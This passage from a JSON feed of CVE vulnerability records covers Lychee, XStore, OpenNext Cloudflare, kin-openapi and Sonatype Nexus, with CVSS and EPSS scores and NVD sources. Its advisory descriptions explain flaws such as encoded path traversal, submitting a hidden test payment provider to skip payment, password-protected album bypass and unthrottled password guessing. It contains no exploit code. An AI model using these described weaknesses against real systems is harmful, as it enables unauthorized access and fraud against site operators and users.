can cause Imagick::readImage() to consume substantial CPU before failing to produce an image. When QUEUE_CONNECTION selects synchronous processing the request can occupy a web worker, while the official asynchronous Docker configuration can clog the shared image-processing queue and delay other work. The advisory did not identify a Ghostscript sandbox escape. This issue is fixed in version 7.7.0.","detail":"Lychee is a free, open-source photo-management tool. Prior to 7.7.0, Lychee enables ImageMagick PDF support with Ghostscript but does not apply an effective pre-render limit to PDF page dimensions in ImagickHandler::loadPdf(). An authenticated user who can upload a small PDF with an oversized /MediaBox can cause Imagick::readImage() to consume substantial CPU before failing to produce an image. When QUEUE_CONNECTION selects synchronous processing the request can occupy a web worker, while the official asynchronous Docker configuration can clog the shared image-processing queue and delay other work. The advisory did not identify a Ghostscript sandbox escape. This issue is fixed in version 7.7.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T17:17:27.727Z","updatedAt":"2026-10-20T03:17:16.690Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-77467","asOf":"2026-10-20T03:17:16.690Z"},"epss":{"probability":0.0034,"percentile":0.27273,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-77467&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-77467","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77467","type":"primary","publishedAt":"2026-10-15T17:17:27.727Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-77467&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-77467, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-77466","cveId":"CVE-2026-77466","aliases":[],"kind":"vulnerability","title":"Lychee is a free, open-source photo-management tool.","summary":"Lychee is a free, open-source photo-management tool. Prior to 7.7.0, Lychee hides the Omnipay Dummy test provider from the checkout options in production through OmnipayFactory::get_supported_providers(), but CreateSessionRequest validates only that the submitted provider is an OmnipayProviderType and does not enforce OmnipayProviderType::isAllowed(). A buyer, including a guest when webshop_allow_guest_checkout is enabled, can submit Dummy directly and complete the test gateway flow without a real payment. When webshop_auto_fulfill_enabled is enabled, OrderCompletedListener::fullfillOrder() can then release the purchasable item. The issue requires access to the Supporter or Pro webshop and an enabled purchasable item. Testing bypassed the closed-source license middleware, so whether the real license layer performs additional payment-provider validation remains unverified. The payment finalize status check itself is not the root cause. This issue is fixed in version 7.7.0.","detail":"Lychee is a free, open-source photo-management tool. Prior to 7.7.0, Lychee hides the Omnipay Dummy test provider from the checkout options in production through OmnipayFactory::get_supported_providers(), but CreateSessionRequest validates only that the submitted provider is an OmnipayProviderType and does not enforce OmnipayProviderType::isAllowed(). A buyer, including a guest when webshop_allow_guest_checkout is enabled, can submit Dummy directly and complete the test gateway flow without a real payment. When webshop_auto_fulfill_enabled is enabled, OrderCompletedListener::fullfillOrder() can then release the purchasable item. The issue requires access to the Supporter or Pro webshop and an enabled purchasable item. Testing bypassed the closed-source license middleware, so whether the real license layer performs additional payment-provider validation remains unverified. The payment finalize status check itself is not the root cause. This issue is fixed in version 7.7.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T17:17:27.580Z","updatedAt":"2026-10-15T21:08:49.703Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-77466","asOf":"2026-10-15T21:08:49.703Z"},"epss":{"probability":0.00439,"percentile":0.37843,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-77466&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-77466","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77466","type":"primary","publishedAt":"2026-10-15T17:17:27.580Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-77466&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-77466, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-62679","cveId":"CVE-2026-62679","aliases":[],"kind":"vulnerability","title":"Lychee is a free, open-source photo-management tool.","summary":"Lychee is a free, open-source photo-management tool. Prior to 7.6.4, SecurePathController, which serves GET /image/{path}, concatenates the attacker-controlled path with the local storage root and performs a string-prefix check before canonicalizing dot segments. Under the supported non-default configuration with temporary_image_link_enabled enabled, temporary_image_link_when_logged_in disabled, and secure_image_link_enabled disabled, any authenticated user can submit encoded traversal segments that pass the prefix check and are later resolved by filesystem operations. This permits reading files available to the web process, including application configuration and other users' private images, and disclosed APP_KEY or database credentials can enable further compromise. This issue is fixed in version 7.6.4.","detail":"Lychee is a free, open-source photo-management tool. Prior to 7.6.4, SecurePathController, which serves GET /image/{path}, concatenates the attacker-controlled path with the local storage root and performs a string-prefix check before canonicalizing dot segments. Under the supported non-default configuration with temporary_image_link_enabled enabled, temporary_image_link_when_logged_in disabled, and secure_image_link_enabled disabled, any authenticated user can submit encoded traversal segments that pass the prefix check and are later resolved by filesystem operations. This permits reading files available to the web process, including application configuration and other users' private images, and disclosed APP_KEY or database credentials can enable further compromise. This issue is fixed in version 7.6.4.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T17:17:26.820Z","updatedAt":"2026-10-16T18:17:59.390Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.9,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-62679","asOf":"2026-10-16T18:17:59.390Z"},"epss":{"probability":0.00353,"percentile":0.28715,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-62679&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-62679","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-62679","type":"primary","publishedAt":"2026-10-15T17:17:26.820Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-62679&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-62679, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-61838","cveId":"CVE-2026-61838","aliases":[],"kind":"vulnerability","title":"Lychee is a free, open-source photo-management tool.","summary":"Lychee is a free, open-source photo-management tool. Prior to 7.6.3, GET /api/v2/Zip authorizes album and photo archives through AlbumPolicy::canDownload() and PhotoPolicy::canDownload() without first enforcing AlbumPolicy::canAccess(). For a public, password-protected album with grants_download enabled, an unauthenticated attacker who knows the shared album identifier can download a ZIP archive without supplying the password or unlocking the album, even though browsing endpoints deny access. The archive exposes the album's photos and can include full-resolution originals and associated metadata when grants_full_photo_access is enabled. This issue is fixed in version 7.6.3.","detail":"Lychee is a free, open-source photo-management tool. Prior to 7.6.3, GET /api/v2/Zip authorizes album and photo archives through AlbumPolicy::canDownload() and PhotoPolicy::canDownload() without first enforcing AlbumPolicy::canAccess(). For a public, password-protected album with grants_download enabled, an unauthenticated attacker who knows the shared album identifier can download a ZIP archive without supplying the password or unlocking the album, even though browsing endpoints deny access. The archive exposes the album's photos and can include full-resolution originals and associated metadata when grants_full_photo_access is enabled. This issue is fixed in version 7.6.3.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T17:17:26.677Z","updatedAt":"2026-10-15T21:08:49.703Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-61838","asOf":"2026-10-15T21:08:49.703Z"},"epss":{"probability":0.00422,"percentile":0.36232,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-61838&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-61838","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-61838","type":"primary","publishedAt":"2026-10-15T17:17:26.677Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-61838&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-61838, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-61611","cveId":"CVE-2026-61611","aliases":[],"kind":"vulnerability","title":"Lychee is a free, open-source photo-management tool.","summary":"Lychee is a free, open-source photo-management tool. Prior to 7.6.1, POST /api/v2/Album::unlock has no throttle, attempt counter, backoff, CAPTCHA, or lockout. UnlockAlbumRequest::authorize() permits any caller to submit attempts, and app/Actions/Album/Unlock.php verifies each guess with Hash::check without limiting repeated failures. A remote unauthenticated attacker who knows or can obtain an album identifier can automate password guesses against a password-protected album and, if the password is recovered, gain access to its private photo collection. This issue is fixed in version 7.6.1.","detail":"Lychee is a free, open-source photo-management tool. Prior to 7.6.1, POST /api/v2/Album::unlock has no throttle, attempt counter, backoff, CAPTCHA, or lockout. UnlockAlbumRequest::authorize() permits any caller to submit attempts, and app/Actions/Album/Unlock.php verifies each guess with Hash::check without limiting repeated failures. A remote unauthenticated attacker who knows or can obtain an album identifier can automate password guesses against a password-protected album and, if the password is recovered, gain access to its private photo collection. This issue is fixed in version 7.6.1.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T17:17:26.537Z","updatedAt":"2026-10-15T21:08:49.703Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-61611","asOf":"2026-10-15T21:08:49.703Z"},"epss":{"probability":0.00351,"percentile":0.28528,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-61611&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-61611","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-61611","type":"primary","publishedAt":"2026-10-15T17:17:26.537Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-61611&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-61611, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105065","cveId":"CVE-2026-105065","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in 8theme.com XStore xstore allows Reflected XSS.This issue affects XStore: from...","summary":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in 8theme.com XStore xstore allows Reflected XSS.This issue affects XStore: from n/a before 9.7.9.","detail":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in 8theme.com XStore xstore allows Reflected XSS.This issue affects XStore: from n/a before 9.7.9.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T17:17:12.160Z","updatedAt":"2026-10-16T15:17:03.890Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105065","asOf":"2026-10-16T15:17:03.890Z"},"epss":{"probability":0.00142,"percentile":0.03455,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105065&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105065","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105065","type":"primary","publishedAt":"2026-10-15T17:17:12.160Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105065&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105065, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-100409","cveId":"CVE-2026-100409","aliases":[],"kind":"vulnerability","title":"OpenNext Cloudflare is an open Next.js adapter for Cloudflare.","summary":"OpenNext Cloudflare is an open Next.js adapter for Cloudflare. From 0.3.0 until 1.20.2, applications that enable enableCacheInterception, rely on middleware for access control, and have a matching cached protected route process encoded pathnames inconsistently between middleware matching and cache lookup. An unauthenticated attacker can use a percent-encoded pathname that does not match authorization middleware but decodes to the cache key of a protected route, causing cached content to be returned without authorization. Malformed encodings can also be partially decoded, allowing cache lookup to continue with a pathname that middleware did not evaluate consistently. This issue is fixed in version 1.20.2.","detail":"OpenNext Cloudflare is an open Next.js adapter for Cloudflare. From 0.3.0 until 1.20.2, applications that enable enableCacheInterception, rely on middleware for access control, and have a matching cached protected route process encoded pathnames inconsistently between middleware matching and cache lookup. An unauthenticated attacker can use a percent-encoded pathname that does not match authorization middleware but decodes to the cache key of a protected route, causing cached content to be returned without authorization. Malformed encodings can also be partially decoded, allowing cache lookup to continue with a pathname that middleware did not evaluate consistently. This issue is fixed in version 1.20.2.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T17:17:07.923Z","updatedAt":"2026-10-16T20:04:29.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Next.js"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-100409","asOf":"2026-10-16T20:04:29.760Z"},"epss":{"probability":0.00305,"percentile":0.23082,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-100409&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-100409","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100409","type":"primary","publishedAt":"2026-10-15T17:17:07.923Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-100409&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-100409, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-100354","cveId":"CVE-2026-100354","aliases":[],"kind":"vulnerability","title":"kin-openapi is a Go project for handling OpenAPI files.","summary":"kin-openapi is a Go project for handling OpenAPI files. Prior to 0.149.0, runtime request, response, and direct schema validation lacks cycle detection when an allOf, anyOf, or oneOf chain refers back to an ancestor schema, even though loading and document validation accept the circular reference. A request or response that reaches the affected schema causes unbounded recursion in Schema.visitJSON or openapi3filter.decodeValue and exhausts the Go goroutine stack. The resulting fatal stack overflow cannot be caught with recover and terminates the entire process, including unrelated requests. This issue is fixed in version 0.149.0.","detail":"kin-openapi is a Go project for handling OpenAPI files. Prior to 0.149.0, runtime request, response, and direct schema validation lacks cycle detection when an allOf, anyOf, or oneOf chain refers back to an ancestor schema, even though loading and document validation accept the circular reference. A request or response that reaches the affected schema causes unbounded recursion in Schema.visitJSON or openapi3filter.decodeValue and exhausts the Go goroutine stack. The resulting fatal stack overflow cannot be caught with recover and terminates the entire process, including unrelated requests. This issue is fixed in version 0.149.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T17:17:07.780Z","updatedAt":"2026-10-15T19:17:12.943Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-100354","asOf":"2026-10-15T19:17:12.943Z"},"epss":{"probability":0.00435,"percentile":0.37512,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-100354&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-100354","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100354","type":"primary","publishedAt":"2026-10-15T17:17:07.780Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-100354&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-100354, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-100353","cveId":"CVE-2026-100353","aliases":[],"kind":"vulnerability","title":"kin-openapi is a Go project for handling OpenAPI files.","summary":"kin-openapi is a Go project for handling OpenAPI files. From 0.136.0 until 0.149.0, three openapi3filter decoder paths that were missed by the fix for GHSA-p6wj-qrr4-pgh5 lack a nil-items guard for legal OpenAPI 3.1 array schemas. An unauthenticated remote client can trigger a deterministic nil-pointer panic through an array query parameter, a deepObject query parameter containing an array property, or an application/x-www-form-urlencoded request body whose array property appears inside an allOf, anyOf, or oneOf subschema. The query and composed-body paths reach urlValuesDecoder.parseArray, while the deepObject path reaches buildResObj, and all pass a nil items schema into code that dereferences it. This issue is fixed in version 0.149.0.","detail":"kin-openapi is a Go project for handling OpenAPI files. From 0.136.0 until 0.149.0, three openapi3filter decoder paths that were missed by the fix for GHSA-p6wj-qrr4-pgh5 lack a nil-items guard for legal OpenAPI 3.1 array schemas. An unauthenticated remote client can trigger a deterministic nil-pointer panic through an array query parameter, a deepObject query parameter containing an array property, or an application/x-www-form-urlencoded request body whose array property appears inside an allOf, anyOf, or oneOf subschema. The query and composed-body paths reach urlValuesDecoder.parseArray, while the deepObject path reaches buildResObj, and all pass a nil items schema into code that dereferences it. This issue is fixed in version 0.149.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T17:17:07.627Z","updatedAt":"2026-10-15T17:17:07.747Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-100353","asOf":"2026-10-15T17:17:07.747Z"},"epss":{"probability":0.00335,"percentile":0.26585,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-100353&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-100353","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100353","type":"primary","publishedAt":"2026-10-15T17:17:07.627Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-100353&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-100353, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97712","cveId":"CVE-2026-97712","aliases":[],"kind":"vulnerability","title":"Sonatype Nexus Repository 3 allows a user that holds the role create or role update permission to grant roles and privileges that the account does not hold.","summary":"Sonatype Nexus Repository 3 allows a user that holds the role create or role update permission to grant roles and privileges that the account does not hold. This can give the user more access than intended, up to full administrative access.","detail":"Sonatype Nexus Repository 3 allows a user that holds the role create or role update permission to grant roles and privileges that the account does not hold. This can give the user more access than intended, up to full administrative access.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T16:18:26.137Z","updatedAt":"2026-10-16T19:55:59.740Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97712","asOf":"2026-10-16T19:55:59.740Z"},"epss":{"probability":0.00265,"percentile":0.18271,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97712&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97712","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97712","type":"primary","publishedAt":"2026-10-15T16:18:26.137Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 